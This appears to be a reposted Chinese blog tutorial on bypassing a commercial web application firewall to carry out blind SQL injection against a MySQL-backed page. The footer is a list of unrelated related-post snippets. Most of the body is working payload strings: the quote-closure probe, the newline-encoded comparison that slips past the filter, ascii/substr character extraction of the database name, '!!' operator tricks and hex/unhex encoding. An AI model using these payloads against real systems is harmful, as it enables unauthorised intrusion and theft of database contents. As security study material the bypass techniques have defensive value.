bypasswaf之盲注

0x00前言前面讲到了联合查询如何过waf,那么今天给大家来讲讲盲注怎么去,bypasswaf。这里还是以xx狗为例。0x01与waf的对抗我们来试试常规的注入思路。'单引号不

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

0x00  前言

前面讲到了联合查询如何过waf,那么今天给大家来讲讲盲注怎么去,bypasswaf。这里还是以xx狗为例。

0x01  与waf的对抗

 

我们来试试常规的注入思路。

' 单引号   不报错
"  双引号  报错
\  反斜杠   报错

bypasswaf之盲注

 

 

 

这里可以看到报错,爆出了他是以双引号闭合的  加个–+ 看看回显是否正常,正常的话说明他的闭合就是双引号。

bypasswaf之盲注

 

 

 

闭合成功,闭合这一步我个人认为是整个sql注入的精髓,闭合成功离数据还会远嘛?

再来尝试and 1=1 ,因为这个关卡是盲注的  所以直接放弃联合查询。

and 1=1   拦截
and 1       拦截
and  0      拦截
and 'a'='a'   不拦截且正常显示
and 'a'='b'   不拦截且无回显
and -1 =-1   不拦截且正常
and -1=-2    不拦截且无回显

 那么现在我们就可以判断他是存在注入点的。

现在先来截取字符的函数对他的字符进行判断。

 and length(database())>1   拦截
and length(database()) 不拦截
and length(database()) >    不拦截

那么拦截的肯定是大于号和 1之间,那么我们就要对他中间fuzz一下

 

bypasswaf之盲注

 

 

 

and length(database())>%0a10    不拦截且无回显
and length(database())>%0a7     不拦截且回显正常
and length(database())=%0a8      不拦截且回显正常

这时候就可以确定他的数据库名长度是8个字符。要使用到ascii和substr这个函数,获取一个字符然后取他的ascii码,然后拿去转成字符就可以拿到他的数据库名了。

and ascii(substr(database(),1,1))<200   回显正常
and ascii(substr(database(),1,1))<126   正常
and ascii(substr(database(),1,1))<125   错误
and ascii(substr(database(),1,1))=115   正常

这里直接不拦截,可以来一个一个才他的ascii,当然一般会配合burp 直接写等于号 来从100跑到300 ,能有效的省略时间。

后来发现mysql的一个特性可以拿来代替空格。

bypasswaf之盲注

 

 

 

!!and 1=1      执行成功
!!!and 1=1     失败
!!!! and 1=1  执行成功

但是在 注入时候!!!and1=1 会被拦截,那么我们这里可以运用在其他的地方。例如substr 

 

我们还可以灵活运用hex 这个函数例如获取的acsii进行 hex()16的转换,然后再运用unhex来做解密成功绕过。

 

bypasswaf之盲注

 

 

 

bypasswaf之盲注

 

 那么这时候可以可以使用到unhex再进行解密 或者说brup 0-300 再使用hex算法去跑,跑完再进行hex解密。

成功绕过。

0x02    结尾

由于查询字段和表名那些方式绕过方式都是一样的,这里就不给大家做过多的演示,可以自己去尝试。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119976.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • PHP验证二代身份证

    PHP验证二代身份证functionvalidation_filter_id_card($id_card){ if(strlen($id_card)==18){ returnidcard_checksum18($id_card); }elseif((strlen($id_card)==15)){ $id_card=idcard_15to18($id_card); return

    2022年6月27日
    34
  • PyCharm与Python的安装教程2021.11

    PyCharm与Python的安装教程2021.11文章预览:一、进入官网下载PyCharm安装包二、等待下载完成后点击进行安装三、Python安装(只介绍最新版本)四、第一个PyCharm程序五、PyCharm安装第三方库方法一、进入官网下载PyCharm安装包自行进入PyCharm官网或点击https://www.jetbrains.com/pycharm/download/#section=windows下载的是社区版,免费并且足够使用。二、等待下载完成后点击进行安装1.点击next2.选择自己要安装的目录3.勾选一些设定(1

    2022年8月28日
    7
  • win10打印服务无法启动(运行时错误automation)

    这是3/11号遇到的问题,微软更新了一个叫KB5009543的补丁之后,电脑的打印功能就一直打印不了,刚开始检查以为打印机脱机或者驱动没安装,检查之后发现毫无作用,还是提示操作无法完成。到电脑控制面板-打印机设备查看所有连接过的打印机都是灰色的。我的解决方案:1、卸载掉所有kb5开头的补丁。2、运行输入services.msc按回车找到打印服务,重新启动打印服务程序。3、找到电脑C磁盘,C:\Windows\System32\spool找到这个路径下,把里面文件全部删掉。3,重新安装一遍对

    2022年4月18日
    114
  • linux怎样配置yum源_linux修改yum源地址

    linux怎样配置yum源_linux修改yum源地址1-1:安装yumapt-getinstallyum12-1配置yum源因为ubuntu系统本身是没有yum源的、所以要想使用yum源、必须自己手动配置:cd/etc/yum/repos.d/#用cd命令进入这个目录1新建两个配置文件touchfedora-163.repotouchfedora-updates-163.repo12打开两个配置文件geditfedora-update…

    2022年8月13日
    3
  • 使用AWS迁移工具MGN迁移腾讯云到AWS「建议收藏」

    使用AWS迁移工具MGN迁移腾讯云到AWS「建议收藏」使用AWS迁移工具MGN迁移腾讯云服务器到AWS环境准备:OS:Centos7.9×64源端和目标端安全组都需要开通TCP443、1500端口1、创建设置模板2、安装Agent(源服务器)下载地址:https://aws-application-migration-service-<region>.s3.<region>.amazonaws.com/latest/linux/aws-replication-installer-init.py替换<r

    2022年10月5日
    3
  • 个人任务管理_工作任务管理工具

    个人任务管理_工作任务管理工具目标:熟练掌握增删改查未完成:细节处理不到位,不够熟练,用时较长解决方法:多练,掌握技巧,提高速度,增加练习力度总结:每天积累几点,多少都会有收获!

    2022年8月1日
    8

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号